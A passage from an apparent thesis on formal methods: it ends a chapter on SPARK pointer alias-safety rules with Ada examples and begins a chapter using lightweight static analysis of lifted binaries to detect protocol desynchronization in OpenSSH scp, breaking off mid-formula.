over each of its fields. However, the write permission does not necessarily
propagate across pointer dereference.

Lemma 1 (Policy Consistency). The alias safety rules in Fig. 7.4 preserve
policy consistency.

When, during an execution, we arrive at a given sequence point with the
set of variable bindings Υ, store Σ, and statically computed and consistent
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access policy Π, we say that the state of the execution respects the Concur-
rent Read, Exclusive Write condition (CREW), if and only if for any two
distinct valid paths p and q, 〈p〉ΥΣ = 〈q〉ΥΣ ∧Π(p) ≥W =⇒ Π(q) = NO.

The main result about the soundness of our approach is as follows.

Theorem 1 (Soundness). A terminating evaluation of a well-typed alias-
safe µSPARK program respects the CREW condition at every sequence point.

The full proof, for a slightly different definition of µSPARK, is given
in [Jal17]. The argument proceeds by induction on the evaluation derivation,
following the rules provided in Fig. 7.3. The only difficult cases are assign-
ment, where the required permission withdrawal is ensured by the ‘move’
transformer, and procedure call, where the chain of ‘observe’ and ‘borrow’
transformers, together with the corresponding checks, on the caller’s side,
ensures that the CREW condition is respected at the beginning of the callee.

In the future, we plan to extend our formalism and proof to non-
terminating executions. For that purpose, we can provide a co-inductive
definition of the big-step semantics and perform a similar co-inductive sound-
ness proof, as described by Leroy and Grall [LG09].

For the purposes of verification, an alias-safe program can be treated with
no regard for sharing. More precisely, we can safely transform access types
into records with a single field that contains either null or the referenced
value. Since records are copied on assignment, we obtain a program that
can be verified using the standard rules of Floyd-Hoare logic or weakest-
precondition calculus (as the rules have also ensured the absence of aliasing
between procedure parameters).

Indeed, consider an assignment A := B where A and B are pointers. In an
alias-safe program, B loses its ownership over the referenced value and can no
longer be used without being reassigned. Then, whenever we modify that
value through A.all, we do not need to update B.all in the verification
condition. In other words, we can safely treat A := B as a deep copy of
B.all into A.all. The only adjustment that needs to be made to the
verification condition generator consists in adding checks against the null
pointer dereferencement, which is not handled by our rules.

7.5 Implementation and Evaluation

The alias safety rules presented above have been implemented in the SPARK
proof tool, called GNATprove. The real SPARK subset differs from µSPARK
in several respects: arrays, functions, additional loop constructs, and global
variables. For arrays, permission rules apply to all elements, without taking
into account the exact index of an element, which may not be known stat-
ically in the general case. Functions return values and cannot perform side
effects. They only take in parameters and may be called inside expressions.
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To avoid creating aliases between the function parameters and the returned
value, the full RW permission is required on the latter at the end of the
callee. The rules for loops have been extended to handle for-loops and plain
loops (which have no exit condition), and also the exit (break) statements
inside loops. Finally, global variables are considered as implicit parame-
ters of subprograms that access them, with mode depending on whether the
subprogram reads and/or modifies the variable.

In our formalization, we considered that every shallow in parameter is
passed by-copy, which is not always the case in SPARK. In the implementa-
tion, we correctly distinguish the copied parameters (typically scalars) and
the parameters which may be passed by-reference (aggregate values).

Though our alias safety rules are constraining, we feel that they signifi-
cantly improve the expressive power of the SPARK subset. To demonstrate
it, let us review examples. One of the main uses of pointers is to serve
as references to avoid copying potentially big data structures. We believe
this use case is supported as long as the CREW condition is respected. We
demonstrate this on a small procedure that swaps two pointers.

type Int_Ptr is access Integer;

procedure Swap (X, Y: in out Int_Ptr) is
T : Int_Ptr := X; -- X is moved to T, X gets ‘W’

begin
X := Y; -- Y is moved to X, Y gets ‘W’, X gets ‘RW’
Y := T; -- T is moved to Y, T gets ‘W’, Y gets ‘RW’
return; -- when exiting Swap, X and Y should be ‘RW’

end Swap; -- local variable T is not required to have any ←↩
permission

This code is accepted by our alias safety rules. We can provide it with a
contract, which can then be verified by the SPARK proof tool.

procedure Swap (X, Y: in out Int_Ptr) with
Pre => X /= null and Y /= null,
Post => X.all = Y.all’Old and Y.all = X.all’Old;

Another common use case for pointers in Ada is to store indefinite types
(that is, the types whose size is not known statically, such as String) inside
aggregate data structures like arrays or records. The usual workaround
consists in storing pointers to indefinite elements instead. This usage is also
supported by our alias analysis, as illustrated by an implementation of word
sets, which is accepted and fully verified by SPARK.

type Word_Array is array (Positive range <>) of Word;
type Word_Set (Max_Size : Natural) is record
Content : Word_Array (1 .. Max_Size);
Length : Natural := 0;
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end record
with Predicate => Length in 0 .. Max_Size and then

(for all I in 1 .. Length => Content (I) /= null);

function Search (S : String; D : Word_Set) return Natural
with

Post => (Search’Result = 0 and then
(for all I in 1 .. D.Length
=> D.Content (I).all /= S))

or else (Search’Result in 1 .. D.Length and then
D.Content (Search’Result).all = S) is

begin
for I in 1 .. D.Length loop

pragma Loop_Invariant
(for all K in 1 .. I - 1 => D.Content (K).all /= S);

if D.Content (I).all = S then
return I;

end if;
end loop;
return 0;

end Search;

procedure Insert (D : in out Word_Set; S : String) with
Pre => D.Length < D.Max_Size,
Post => Search (S, D) > 0 is

begin
D.Content (D.Length + 1) := new String’(S);
D.Length := D.Length + 1;

end Insert;

The last use case that we want to consider is the implementation of recur-
sive data structures such as lists and trees. While alias safety rules exclude
structures whose members do not have a single owner like doubly linked lists
or arbitrary graphs, they are permissive enough for many non-trivial tree
data structures, for example, red-black trees. Red-black trees are ordered
balanced trees commonly used to implement ordered data structures such as
sets and maps. To insert a value in a red-black tree, the tree is first traversed
top-down to find the correct leaf for the insertion, and then it is traversed
again bottom-up to reestablish balancing. Doing this traversal iteratively
requires storing a link to the parent node in children, which is not allowed as
it would introduce an alias. Therefore, we went for a recursive implementa-
tion, partially shown above. The rotating functions, which are used by the
Balance procedure (not shown here) can be implemented straightforwardly,
since rotation moves pointers around without creating any cycles.
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type Red_Black is (Red, Black);
type Tree;
type Tree_Ptr is access Tree;
type Tree is record
Value : Integer;
Color : Red_Black;
Left : Tree_Ptr;
Right : Tree_Ptr;

end record;

procedure Rotate_Left (T: in out Tree_Ptr) is
X: Tree := T.Right;

begin
T.Right := X.Left;
X.Left := T;
T := X;

end Rotate_Left;

procedure Insert_Rec (T: in out Tree_Ptr; V: Integer) is
begin
if T = null then

T := new Tree’(
Value => V,
Color => Red,
Left => null,
Right => null);

elsif T.Value = V then
return;

elsif T.Value > V then
Insert_Rec (T.Left, V);

else
Insert_Rec (T.Right, V);

end if;
Balance (T);

end Insert_Rec;

This example passes alias safety analysis successfully (without errors
from the tool) and can be verified to be free of runtime exceptions (such as
dereferences of null pointers) by the SPARK proof tool.

7.6 Related Work

The recent adoption of permission-based typing systems by programming
languages is the culmination of several decades of research in this field. Go-
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ing back as early as 1987 for Girard’s linear logic [Gir87] and 1983 for Ada’s
limited types [HA83], Baker was the first to suggest using linear types in pro-
gramming languages [Bak95], formalised in 1998 by Clarke et al. [CPN98].
More recent works focus on Java, such as Javari and Uno [TE05; MF07].

Separation logic [Rey02] is an extension of Hoare-Floyd logic that allows
reasoning about pointers. In general, it is difficult to integrate into auto-
mated deductive verification: indeed, it is not directly supported by SMT
provers, although there have been recent attempts to have it mended [DP08;
BJ16].

Permission-based programming languages generalize the issue of avoiding
harmful aliasing to the more general problem of preventing harmful sharing
of resources (memory, but also network connections, files, etc.).

Cyclone and Rust achieve absence of harmful aliasing by enforcing an
ownership type system on the memory pointed to by objects [Gro+02;
Bal+17]. Furthermore, Rust has many sophisticated lifetime checks, that
prevent dangling pointers, double free, and null pointer dereference. In
SPARK, these checks are handled by separate analysis passes of the toolset.
Even though there is still no formal description of Rust’s borrow-checker, we
must note a significant recent effort to provide a rigorous formal description
of the foundations of Rust [Jun+18].

Dafny associates each object with its dynamic frame, the set of point-
ers that it owns [Lei10]. This dynamic version of ownership is enforced by
modeling the ownership of pointers in logic, generating verification condi-
tions to detect violations of the single-owner model, and proving them using
SMT provers. In Spec#, ownership is similarly enforced by proof, to detect
violations of the so-called Boogie methodology [Bar+06].

In our work, we use a permission-based mechanism to detect potentially
harmful aliasing, to make the presence of pointers transparent for automated
provers. In addition, our approach does not require additional user annota-
tions, that are required in some of the previously mentioned techniques. We
thus expect to achieve high automation and usability, which was our goal
for supporting pointers in SPARK.

7.7 Future Work

The GNAT+SPARK Community release in 2020 contains support for point-
ers, as defined in section 3.10 of the SPARK Reference Manual [AA19],
with two important improvements not discussed in this chapter: local ob-
serve/borrow operations and support for proof of absence of memory leaks.

Both these features require extensive changes to the generation of veri-
fication conditions. Support for local borrows requires special mechanisms
to report changes on the borrower to the borrowee at the end of the borrow,
as shown by recent work on Rust [Ast+19]. Support for proof of absence
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of memory leaks requires special mechanisms to track values that are either
null or moved so that we can make sure that all values going out of scope
are in this case.

7.8 Conclusion
In this chapter, we have presented the rules for alias safety analysis to im-
plement and verify in SPARK a wide range of programs using pointers and
dynamic allocation. To the best of our knowledge, this is a novel approach to
control aliasing introduced by arbitrary pointers in a programming language
supported by proof. Our approach does not require additional user anno-
tations or proof of additional verification conditions, which makes it much
simpler to adopt. We provided a formalization of our rules for a subset of
SPARK in order to mathematically prove the safety of our analysis.



Chapter 8

Lightweight Formal Methods
for Static Protocol Analysis

Static protocol analysis often requires complex tooling to check
for the correctness of an implementation with respect to its for-
mal specification, which can be a time consuming process. Many
of these techniques rely on a compact representation of the pro-
gram that can be output either as is to the user or be processed
with more expensive operations that would not scale to the orig-
inal program.

In this chapter, we present a graph-based formalism to represent
binary programs in a much simpler form limited to assignments,
procedure calls and conditions. We redefine the reaching defi-
nitions and liveness dataflow analyses to extend them—without
requiring any procedure signature or calling convention—to an
inter-procedural scope. We then provide several basic graph
transformations that can be leveraged to extract a compact rep-
resentation from our formalism, and show through a real exam-
ple how to combine it with textbook algorithms to investigate a
protocol desynchronization issue in scp.

This work was conducted jointly with Aymeric Vincent and is
still a work in progress.

8.1 Introduction

This chapter provides a formal description of a simple language with lim-
ited forms of indirect jumps, for which we extend the reaching definitions
and liveness analyses [Ken78; Ken81] to an inter-procedural scope, without
assuming any previous knowledge of procedure signatures or calling conven-
tion. We then introduce several basic graph operations as well as a formally
defined slicing operation to transform the program into a much more useful
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form. As an example, we analyze scp, a well-known open-source file transfer
program, looking into protocol desynchronization issues between the server
and client. As our main contribution, we show that it is possible to use a
lightweight formalism to perform static security analyses on programs that
were traditionally thought to require much more complex tooling.

The rest of the chapter is organized as follows: in Section 8.2, we in-
troduce a small formal language for which we define our inter-procedural
reaching definitions and liveness analyses in Section 8.3. In Section 8.4, we
describe various simplifications that in combination with a slicing operation
in Section 8.5 leverage the previous analyses to extract a useful graph rep-
resentation. As a proof-of-concept, we present our implementation and use
it to analyze an example in Section 8.6. Finally, we survey related works in
Section 8.7 and conclude in Section 8.8.

8.2 Formal model

This section introduces a formal representation for a low-level imperative
language augmented with procedure calls and returns. This representa-
tion, inspired from Bincoa [Bar+11], uses a graph to capture in a single
mathematical representation both the statements’ semantics as well as the
program’s control flow. As an illustration, we provide in Appendix 8.A
the description of an assembly language that translates trivially into our
formalism, and in Subsection 8.2.2 the semantics of our formalism.

A program can be expressed as a graph G = 〈V, i, E〉 whose vertices
V are the program’s sequence points—defined as program points before or
after any given statement—, and whose edges E correspond to statements.
A statement can either be:

• an assignment yielding an edge of the form n
lvalue := expr−−−−−−−−−→ n′

or

• a call n call n′′−−−−−→ n′ to a procedure whose entry point is a node n′′ ∈ V
(the node n is named the call site)
or

• a return statement n return−−−−→ ⊥, which jumps to the program point
immediately following the corresponding call instruction
or

• a guard n guard expr−−−−−−−→ n′ allowing the execution to proceed to n′ if and
only if its guard expression evaluates to true

Additionally, we designate a node i ∈ V as the program’s entry-point.
To make the graph deterministic, we require the guards to be collectively
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exhaustive meaning that for any given variable assignment, one and only
one guard outgoing from any node must be true.

Left-values are rather standard, allowing register as well as memory ac-
cesses of variable width (specified in bytes). Expressions are arbitrarily long
combinations of left-values, literals, and usual binary operations available on
computers. This can be formally described with the following Backus-Naur
form [Bac59]:

〈lvalue〉 ::= 〈ident〉 register
| @ 〈integer〉 [ 〈expr〉 ] memory access

〈expr〉 ::= 〈lvalue〉 l-value
| 〈integer〉 literal
| 〈expr〉 ( + | < | = | · · · ) 〈expr〉 binary operation

8.2.1 Lifting binary into graphs.

We build our formalism on top of miasm [Des12], an open-source frame-
work for reverse engineering, enabling the analysis of programs compiled
for various platforms, including x86, ARM, MIPS, SH4, or MSP430. miasm
features a rich intermediate representation with complex expressions and
simplifications—of which a simplified subset is used in our formalism—,
procedure call recognition using assembly opcode, or even automatic com-
parison reconstruction, by converting the elementary CPU flag checks.

This lifting procedure [Des20] allows us to take as input of our tool an
architecture-independent representation with a whole set of tools to proceed
with expressions of arbitrary complexity. This includes for instance substi-
tution, free-variable extraction, or common simplifications. We then obtain
the graph from this intermediate representation by translating the basic
blocks of the control-flow graph into a linear sequence of statements, while
raising errors if features excluded from our formalism are encountered. An
example of such an error may be jump-tables, which should be remodeled
beforehand.

8.2.2 Formal semantics

A program is executed in the context defined by a store Σ that maps ad-
dresses to binary values, a binding Υ, that maps registers to values, and
a stack Π storing the node where the execution should continue after re-
turning from the current procedure. We assume that the width of all val-
ues is an integer number of bytes. We define a small-step semantics and
write Υ,Σ,Π, n s=⇒ Υ′,Σ′,Π′, n′ to denote that sequence point n, with state
Υ,Σ,Π, successfully evaluates statement s, yielding a new state Υ′,Σ′,Π′
with next sequence point n′. Illicit operations, such as dividing by zero,
cannot be evaluated and stall the execution (blocking semantics).
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The evaluation of expressions is effect-free and denoted JeKΥ
Σ . Each value

is a bitvector of statically known length, whose consistency is checked by
the underlying miasm expression engine–extensions or slices are explicitly
handled. We denote by � a binary operator operating over the , by ‖ the
concatenation, and for the value value x, by xi its i-th most-significant byte.
Without loss of generality, we assume in what follows little-endian memory
accesses.

JxKΥ
Σ = Υ(x) x is a register

J@ `[e]KΥ
Σ = Σ(Je+ `− 1KΥ

Σ)‖ . . . ‖Σ(JeKΥ
Σ) ` is a literal

e is an expression
J`KΥ

Σ = ` ` is a literal
Je1 � e2KΥ

Σ = Je1KΥ
Σ � Je2KΥ

Σ � is a binary operator

The semantics of statements is defined as follows:

• Assignments n p := e−−−→ n′ :

Υ,Σ,Π, n x := e===⇒ Υ[ x 7→ JeKΥ
Σ ],Σ,Π, n′

Υ,Σ,Π, n @ l[e′] := e======⇒ Υ,Σ[
q
e′ + l − 1

yΥ
Σ 7→ (JeKΥ

Σ)0, . . . ,
q
e′

yΥ
Σ 7→ (JeKΥ

Σ)l],Π, n′

• Procedure calls n call n′′−−−−−→ n′:

Υ,Σ,Π, n call n′′=====⇒ Υ,Σ,Π.n′, n′′

• Guards n guard e−−−−−→ n′:

Υ,Σ,Π, n guard e====⇒ Υ,Σ,Π, n′ if JeKΥ
Σ 6= 0

• Returns n return−−−−→ ⊥:

Υ,Σ,Π.n′, n return====⇒ Υ,Σ,Π, n′

8.3 Inter-procedural dataflow analysis
In this section, we explain how to perform inter-procedural liveness and
reaching definition analyses. Notably, we leverage our program’s graph rep-
resentation to provide a compact and very simple definition of both analyses.

Memory accesses are hard to analyze in general, as the address may not
be always statically determined. To perform our liveness and reaching def-
inition analyses, we restrict ourselves to registers only, thus preventing any
simplification (in Section 8.4) on memory accesses, preserving the soundness
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of our transformations. Especially, there are two use-cases where the results
lag behind a traditional source-based dataflow analysis: spilled-registers and
parameters to procedures passed on the stack. However, the example pre-
sented in Section 8.6 makes very little use of such memory accesses, thence
not impacting our results. Future work may include the implementation of
run-of-the-mill methods aimed at reconstructing pseudo-register variables
from such memory accesses [BR04].

Previously published inter-procedural dataflow analyses assume the prior
knowledge of every function signature (or equivalently prototype). To the
best of our knowledge, we provide the first formal description that does not
rely on such signatures. For this, we use the ideas presented in [AB14b] to
identify the parameters and return values of each function using the liveness
analysis. We generalize their approach to perform the signature recovery
and liveness analysis altogether.

In our formalism, a procedure P in the program G = 〈V, i, E〉 is defined
as the induced subgraph P = 〈VP , iP , EP 〉 of the control-flow graph G for the
vertex subset VP of every accessible node from iP in G. We ensure that each
node (except ⊥) and edge of G belongs to at most one procedure (procedures
with shared code are duplicated). We define the functions params : P →
℘(Reg) and rets : P→ ℘(Reg), mapping each procedure P ∈ P to respectively
the set of parameters to P and registers written by P .

The next sections use the following notations:

Notation Meaning
Reg the set of registers in the program G
P the set of all procedures in G
℘(X) the powerset of X
hd (e), tl (e) the head and tail of edge e
incoming (n) the set of incoming edges of node n
outgoing (n) the set of outgoing edges of node n
f : X → Y ;x 7→ f(x) the function f with domain X and codomain Y ,

mapping the value x to the value f(x)
params (P ) ∈ ℘(Reg) the set of parameters to procedure P
rets (P ) ∈ ℘(Reg) the set of registers written by procedure P
FV (exp) ∈ ℘(Reg) the set of free variables in expression exp

Similarly, by a slight abuse of notation, we lift any binary operation �
to functions of same domain and codomain, f � g = x 7→ f(x)� g(x)

8.3.1 Reaching definitions analysis

The reaching definitions analysis [Ken78; Ken81] intends to provide, at each
program point and for each register, the set of statements directly writing
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into this register at this program point. Formally, this is done by mapping
each node n in program G to the function rchn : Reg→ ℘(E) mapping each
register r ∈ Reg to the set of assignments to r reaching the node n.

We also define the function write : E → ℘(Reg) mapping to each edge
e ∈ E the set of registers written by its statement, as follows:

write (e) ,


{reg} if e = n

reg := exp−−−−−−−→ n′

rets (P ) if e = n
call iP−−−−−→ n′

∅ otherwise

Computing rets (P ) for all P ∈ P is straightforward, by collecting all
registers assigned in any statement in P as well as all registers returned by
any procedures called from P .

rets (P ) ,
⋃
e∈P

write (e)

We also define for each edge e ∈ E the function gene : Reg→ ℘(E) mapping
each register r to the set of assignments in statement e writing register r.
Compared to the usual textbook definition, gene differs only by pigeonholing
the edge to each written register.

gene(r) ,

{e} if r ∈ write (e)

∅ otherwise

By a slight abuse of notation, we define the notion of anti-restriction
/− for a complete function whose codomain is a powerset by mapping the
anti-restricted values to ∅, as follows:

(X /− f)(x) ,

∅ if x ∈ X

f(x) otherwise

Thereupon, we can rewrite the usual dataflow equations as follows:

rchn =
⋃

e ∈ incoming (n)
gene ∪ (write (e) /− rchtl (e))

The approach to solve these equations first requires computing
rets (P ), ∀P ∈ P and write (e),∀e ∈ E, by iterating a Scott-continuous trans-
fer function on an initial minimal value until reaching, per Kleene fixed-point
theorem, its least fixed-point. Finally, we compute a solution to the func-
tions rchn with the usual textbook fixed-point method.
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8.3.2 Liveness analysis

The liveness analysis provides for each node n of the graph G the set of
variables live at this node. As for the reaching definitions analysis, we
introduce the following objects:

Notation Meaning
liven : Reg→ ℘(E) the function mapping each live register at

node n to the set of edges using this register
read : E → ℘(Reg) the function mapping each edge to the set of

free registers in its statement
usee : Reg→ ℘(E) the function mapping each register to the set

of statements in e using this register

As a consequence, we can formally define the parameters to a procedure
P = 〈VP , iP , EP 〉 as the set of registers live at the entry of the procedure iP :

params (P ) , {r ∈ Reg | liveiP (r) 6= ∅}

We can then rewrite the definitions for read and usee to take into account
procedure parameters and return registers. Note that compared to the usual
textbook definition, usee only differs by pigeonholing the edge to each read
register.

read (e) ,



FV (exp) if e = n
reg := exp−−−−−−−→ n′

FV (exp1) ∪ FV (exp2) if e = n
@integer[exp1] := exp2−−−−−−−−−−−−−−−→ n′

FV (exp) if e = n
guard exp−−−−−−→ n′

params (P ) if e = n
call iP−−−−−→ n′

rets (P ) if e = n
return−−−−→ ⊥

usee(r) ,

{e} if r ∈ read (e)

∅ otherwise

Finally, liven satisfies the following equation for every node n:

liven =
⋃

e ∈ outgoing (n)
usee ∪ (write (e) /− livehd (e))

As for reaching definitions, we compute a solution to the equations by
iterating a transfer function on an initial value until reaching its least fixed-
point.
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8.4 Graph transformations

We also perform additional graph transformations, aiming at simplifying
the obtained graph. Notably, we perform dead-code elimination, expression
simplification, constant predicate elimination and guard merging.

In what follows, we extend our formalism to allow call statements to
embed actual parameters by replacing each call iP statement, with a new
call statement whose parameters are params (P ). This is required to perform
several of the simplifications described below. We also adapt the example
language accordingly, as shown in Appendix 8.A.

8.4.1 Dead-code analysis

The notion of dead-code usually has two meanings; it either designates state-
ments that are never executed (i.e. unreachable statements), or whose dele-
tion does not change any computed value in the program (i.e. wasteful
statements). The former can be detected using a simple reachability anal-
ysis in the graph, while the latter requires the previously defined liveness
analysis. Usually, there is no dead-code in programs, as they are deleted by
optimizing compilers. Here, the slicing operation presented in Section 8.5
can render parts of the program dead.

Formally, the reachability analysis is performed on graph G = 〈V, i, E〉,
by defining the function reach : V → ℘(V ) mapping to each node n the set
of reachable nodes from n, taking into account the function calls, as follows:

reach (n) = {n} ∪
⋃

e ∈ outgoing (n)
reach (hd (e)) ∪

⋃
(n

call iP−−−−−→s) ∈ outgoing (n)

reach (iP )

After doing this reachability analysis, we remove from G any unreachable
node of V − reach(i), as well as all their incoming and outgoing edges.

Wasteful computations can be detected by looking at any assignment e =
n

reg := exp−−−−−−−→ n′ such that liven′(reg) = ∅. Such assignments are bypassed,
which means that we remove the edge e and its source node n from the
graph, and redirect every incoming edge of n to n′.1

8.4.2 Expression propagation

Graphs obtained from disassembling programs feature only very simple ex-
pressions, as instruction set architectures provide for operations involving
often at most two source operands. Thence, compilers must split complex
expressions in the source code into sequences of several simple instructions,

1If the node n is the entrypoint of a procedure, we rename its successor so as not to
break incoming calls to the procedure.
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using temporary registers storing intermediate results. As our formalism
allows for arbitrarily complex expressions, we recombine the simple expres-
sions together, resulting in a significant reduction of the number of state-
ments.

Formally, any assignment e = n
reg := exp−−−−−−−→ n′ can be propagated if

livehd (e)(reg) = {e′} and |rchtl (e′)(reg)| = 1. The propagation is done by
first substituting in the statement stmt any occurrence of reg by exp.2 We
then bypass the edge e.

8.4.3 Guard simplification

After expression propagation, guard statements can be analyzed, to find and
simplify guards that always evaluate to true or false. This simplification is
especially useful when performing concolic analysis with our formalism—
through the insertion at specific points of the program of edges overwriting
concrete values into registers. Another useful case for this simplification is
to solve a very common obfuscation known as opaque predicates [Xu18].

We analyze each guard statement e = n
guard exp−−−−−−→ n′, by checking with

Z3, an open source SMT solver [MB08], whether exp is satisfiable. If the
expression is unsatisfiable, then we delete the edge e from the graph. In a
second pass, we check for nodes whose sole outgoing edge is a guard, and
bypass their outgoing guard (we remind the reader that outgoing guards of
a node are always collectively exhaustive).

8.4.4 Guard merging

Complex guards are scattered in many assembly tests. This comes from the
fact that assembly languages only allow for two targets at each conditional
jump, resulting in the presence of several guards for instance when testing
a left-value x against multiple immediate values, which often renders in the
graph as a path containing multiple guards in the form x� α, where � can
be =, 6=,≤,≥, . . ..

Guards of the same form can thus be merged together into a more general
form x ≤ α ∧ x ≥ β ∧ x 6= γ0 ∧ . . . ∧ x 6= γk. Note that k may in theory be
arbitrarily big, but programs handling values with huge gaps in the range
are not common. Note also that when k = 0 ∧ α = β, we can more simply
say that x = α.

We thus transform all guards in the form x � α to our canonical form,
and merge all consecutive guards with same left-hand side. We do so by
merging the lower bounds into α, upper bounds into β, and the inner values
(γ)i. We then delete the duplicate inner values, and adjust the bounds if

2A switch is provided to the user to prevent propagation if there are several occurrences
of reg in stmt.
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some inner values are out of or equal to the bounds. Guards that are shown
to be infeasible are deleted.

8.5 Program slice
Programs often embed several different computations to perform various in-
put or output actions, side effects, or internal state changes. In this section,
we provide a method to separate these computations. This can be really
helpful when studying a specific behavior of a program, by significantly re-
ducing the human effort required to perform the analysis.

As a prerequisite, our method requires distinguishing a subset of in-
structions Ξ ⊂ E in program G = 〈V, i, E〉, that we call a slicing criterion.
The choice of Ξ relies on the user’s strategy, in the same manner as an
instrumentation or tainting strategy. Some examples of strategies include
monitoring system calls [Lop+17], low-level primitives [Cle+20], memory
accesses [RHH11], or networking primitives [Enc+10].

A program G′ = 〈V ′ ⊂ V, i, E′ ⊂ E〉 is called a slice of G for Ξ when
G′ is observationally equivalent from the viewpoint of statements Ξ to G.
As the smallest slice is not guaranteed to be computable, we limit ourselves
to compute an approximation by starting with Ξ and expanding the set of
statements until reaching a fixed point. The sequence of such statements
sets is denoted by (Ξ)i. Note that as the sequence is increasing and upper
bounded by E, it converges to a fixed point of its recurrence relation written
Ξ̃.

At each step, we add to our slice any reaching statement that writes
into a register used in a statement of the slice, as well as any control de-
pendency [FOW87]. Note that an edge e = n

stmt−−−→ n′ is control dependent
on an edge ec = nc

stmt−−−→ n′c if and only if, each path from nc to n′ has
its inner nodes post-dominated by n′ while nc is not post-dominated by n′.
Furthermore, we also add to the slice any call to a procedure whose body
contains a statement of the slice, and we recursively slice procedures that
write into a register used in the slice of a callee. Formally, the sequence (Ξ)i
is defined by:

Ξ0 = Ξ
Ξi+1 = Ξi

⋃
{e′ | ∃ e ∈ Ξi . ∃ x ∈ read (e) ∩ write (e′) . e′ ∈ rchtl (e)(x)}⋃
{e′′ | ∃ e ∈ Ξi . ∃ e′ = n

call iP−−−−−→ n′ . ∃ x ∈ read (e) ∩ rets (P )
. e′ ∈ rchtl (e)(x) ∧ e′′ ∈ rch⊥(x) ∩ EP }⋃

{e = n
call iP−−−−−→ n′ | EP ∩ Ξi 6= ∅}⋃

{e | ∃ e′ ∈ Ξi . e′ is control dependent on e}

The slice G|Ξ of G for Ξ is then defined as the graph: G|Ξ = 〈Ṽ ′, i, Ẽ′〉
obtained from G by bypassing every edge e ∈ E − Ξ̃ and performing the
simplifications presented in the previous sections.
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In the following sections, we show how to use the slicing operation to
significantly reduce the size of the manipulated control-flow graphs. Another
possible application that we leave to future work, consists in computing
various statistics on the procedures before or after slicing, to help identify
parts of the program closely related to specific behaviors (network, hardware
abstraction, specific protocols, ...).

8.6 Implementation and evaluation

Our formalization and the previously presented operations have been imple-
mented as a separate Python package on top of miasm. The graphs can be
interactively modified using python commands, with the possibility to visu-
alize either partly or in full using graphviz [GN00], an open source graph
visualization software. We use this feature to locate points of interest in the
program, or to manually handle special cases. Python commands are handy,
as they allow easy replay, by just saving them into a source file, thus there
is no need to design and handle a custom file format to save and reload the
ongoing analysis.

In what follows, we show how our formalism and its transformations,
combined with lightweight operations on graphs, allow us to analyze the
OpenSSH implementation of the secure copy protocol (SCP), a well-known
open-source file transfer protocol.

SCP is a command line utility provided by OpenSSH that implements the
eponymous protocol, which itself is based on the BSD remote copy (RCP)
protocol. The program allows transferring and receiving files between a
server and a client; one will be the source and the other the sink, depending
on the direction of the copy. The protocol has never been formalized and
specified into an RFC. In practice, the implementation proceeds using a
bidirectional data stream tunneled through a secure shell connexion. For
each directory entry, the source crafts and sends headers describing various
metadata (such as timestamp, permissions, name, size, location) followed
by its contents.

SCP is known for its many past vulnerabilities. It is now considered as
outdated, and is being progressively phased out. While using SCP version
8.2, we got a crash with file contents being dumped on standard error output,
indicating a probable desynchronization between the source and the sink
(later reported as CVE-2020-120623).

8.6.1 Main idea

To perform our analysis, we identify the two functions Gsource and Gsink
in our graphs, and intend at using lightweight formal methods to check for

3https://nvd.nist.gov/vuln/detail/CVE-2020-12062
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paths leading to a protocol desynchronization. Specifically, we extract from
each graph a transition system whose alphabet Σ features a very reduced
set of actions, converted from the statements in the graph:

stmt ::= τ nop statement
| OSD source sends data
| ORD source receives data
| OSA source sends acknowledgment
| ORA source receives acknowledgment
| ISD sink sends data
| IRD sink receives data
| ISA sink sends acknowledgment
| IRA sink receives acknowledgment

We then write a transition system describing the scp protocol using the
previously described actions, and synchronize the three transition systems,
exhibiting any violation of the protocol, in the form of a sequence of actions
triggering this desynchronization. This sequence is then investigated and
either discarded or used to confirm the existence of a protocol bug.

As we will show, we managed to successfully identify CVE-2020-12062 as
well as other potential sources for protocol desynchronization in OpenSSH
version 8.2. Similarly, we were able to check that the patch indeed corrects
these protocol desynchronization issues in the refactored version 8.3.

8.6.2 Transition system extraction

The difficulty in extracting a transition system lies in the method to identify
statements of the graphs Gsource and Gsink that perform any action relevant
to the protocol. We use ghidra to manually reverse engineer some parts of
the source code, especially to identify the procedures used to communicate,
and the file streams used for this purpose. In both versions of scp, the client
and the server use two procedures: atomicio and atomicio6, that take as
parameters a pointer to either the function read or write, the file descriptor
that can be either STDERR, the file to read (for the server), the file to write
(for the client), the transmit channel or the receive channel.

We also identify and reverse-engineer the low-level primitives making
use of the two previous procedures to send specifically identifiable messages
on the channel. We found two such procedures: run_err used to send an
acknowledgment, response used to receive an acknowledgment. We then
rewrite every statement of the graphs in the form of actions in Σ (for in-
stance, a call to response in Gsink is rewritten as IRA). Statements that
do not perform any action are rewritten as τ statements. To improve the
efficiency of our analysis, we simplify the τ -chains by bypassing their inner
edges. This yields two graphs G′source and G′sink that can then be trans-
formed into the transition system Asource = (Qsource,Σ,∆source, isource) and
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Asink = (Qsink,Σ,∆sink, isink), where Q is the set of states, Σ the alphabet,
∆ the transition relation, and i the initial state.

We present in Appendix 8.B the transition systems extracted from source
and sink functions for both scp versions 8.2 and 8.3.

8.6.3 Detecting violations

To detect protocol violations, we write a transition system Ascp =
(Qscp,Σ,∆scp, iscp) modeling an exchange between the source and the sink.
As there is no formal definition for the scp protocol, we collected a few
scp network traces to analyze the protocol. We identified two types of ex-
changes occurring in scp, respectively called header and body. The header
is an exchange intended to transfer metadata about files (like name, size,
timestamp, permissions, folder structure, ...), while the body exchanges the
contents of a file. Note that for each file, depending on the options passed
to scp, it is possible to exchange several headers for a single body.

The header exchange typically starts with the source sending the header
(OSD) and waiting for an acknowledgment (ORA), while the sink reads the
header (IRD) and either exits the program or sends an acknowledgment
(ISA). The body exchange differs as the source sends an arbitrary number
of data packets (OSD), ended by an acknowledgment (OSA), while the sink
reads them (IRD then IRA). Note that the number of OSD and IRD may
not match, as the data is buffered by the channel. The exchange is then
concluded by the sink sending an acknowledgment (ISA) while the source
reads it (ORA).

By merging these two different behaviors, we build the transition system
describing a first sketch of scp protocol, as shown in Figure 8.1. Note that
for each state, there is a transition accepting τ statements without changing
the state of the transition system. Additionally, we complete this transition
system by adding to each state transitions labeled with the missing actions
to a special error state ⊥. Upon each false-positive reported, we modify this
transition system to add the additional behaviors that we deemed legal.

We then synchronize our three transition systems Asource, Ascp, and
Asink using an algorithm that computes an asynchronous product of the
three. Formally, we build a new transition system AP = (QP ,Σ,∆P , iP ),
where QP = Qsource ×Qscp ×Qsink, iP = (isource, iscp, isink), and transition
relation ∆P defined as follows:(

(q1, q2, q3), a, (q′1, q′2, q′3)
)
∈ ∆P

⇐⇒
(
(q2, a, q

′
2) ∈ ∆scp ∧ (q3, a, q

′
